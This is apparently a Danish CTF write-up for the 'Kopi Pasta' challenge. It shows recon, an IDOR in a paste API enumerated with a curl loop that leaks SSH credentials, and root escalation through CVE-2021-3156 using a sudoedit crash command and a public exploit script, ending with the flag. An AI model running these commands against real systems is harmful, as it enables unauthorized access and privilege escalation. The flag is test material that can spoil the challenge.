Filer: Download challenge files

Writeup: Kopi Pasta


Indledende Observationer

Jeg startede med en klassisk recon.

1
nmap kopipasta.cfire

Resultat:

  • 22/tcp – SSH

  • 80/tcp – HTTP

Websiden var en “ShareBin”-lignende paste-applikation med login og mulighed for at oprette pastes.

XSS blev hurtigt testet med:

1
<script>alert(1)</script>

Men input blev korrekt escaped, så XSS var ikke en attack vector.


Recon / Kortlægning

Ved at analysere frontend fandt jeg i /static/paste.js at applikationen brugte følgende endpoint:

1
2
3
4
fetch('/api/v1/pastes', {
    method: 'POST',
    body: formData
});

Dette afslørede API-strukturen.

Frontend-routen:

1
/pastes/<id>

returnerede “Unauthorized” for andre brugeres pastes.

Men da jeg testede direkte mod API’et:

1
GET /api/v1/pastes/1

fik jeg JSON tilbage uden nogen form for authorization-check.

Eksempel:

1
2
3
4
5
{
  "content": "Overheard in Baltimore...",
  "id": "1",
  "title": "Harry potter and the sorcerer's stone"
}

Dette var en klassisk Broken Object Level Authorization (IDOR).

Authorization var implementeret i frontend, men ikke i backend.


Analyse

Jeg enumererede IDs direkte via API’et.

Eksempel:

1
2
3
for i in {1..50}; do
  curl -s http://kopipasta.cfire/api/v1/pastes/$i
done

Ved paste ID 8 fandt jeg:

1
2
3
4
5
{
  "content": "samedit:what_in_the_67",
  "id": "8",
  "title": "SSH credentials"
}

Angrebet

Jeg loggede ind via SSH:

Password:

1
what_in_the_67

Shell:

1
2
whoami
samedit

Systemet kørte:

1
2
Ubuntu 20.04.6 LTS
sudo 1.8.31

Brugernavnet samedit viste sig at være en reference til CVE-2021-3156 (Baron Samedit).

Jeg testede sårbarheden:

1
sudoedit -s '\' `python3 -c 'print("A"*1000)'`

Resultat:

1
2
malloc(): invalid size (unsorted)
Aborted (core dumped)

Dette indikerede, at heap corruption kunne bruges.

Efter lidt research fandt jeg en POC på github af worawit. Du kan læse mere her.

Jeg uploadede:

1
exploit_nss.py

og kørte:

1
python3 exploit_nss.py 0

Efter nogle sekunder fik jeg root shell:

1
2
whoami
root

Flaget

Som root:

1
2
3
cd /root
ls
flag.txt
1
cat /root/flag.txt

Flag:

1
DDC{bruh_i_p4s73d_4_bi7_700_much}

Konklusion

Chainen var:

  1. IDOR i /api/v1/pastes/<id>

  2. Credential leakage via paste enumeration

  3. SSH adgang som low-priv user

  4. Privilege escalation via CVE-2021-3156

  5. Root shell → flag retrieval

Sårbarhederne var:

  • Broken Object Level Authorization (API)

  • Hardcoded credentials i paste

  • Sårbar sudo-version

Challenge-namnet og brugernavnet samedit var et tydeligt hint mod privesc-vektoren.


Flag:

1
DDC{bruh_i_p4s73d_4_bi7_700_much}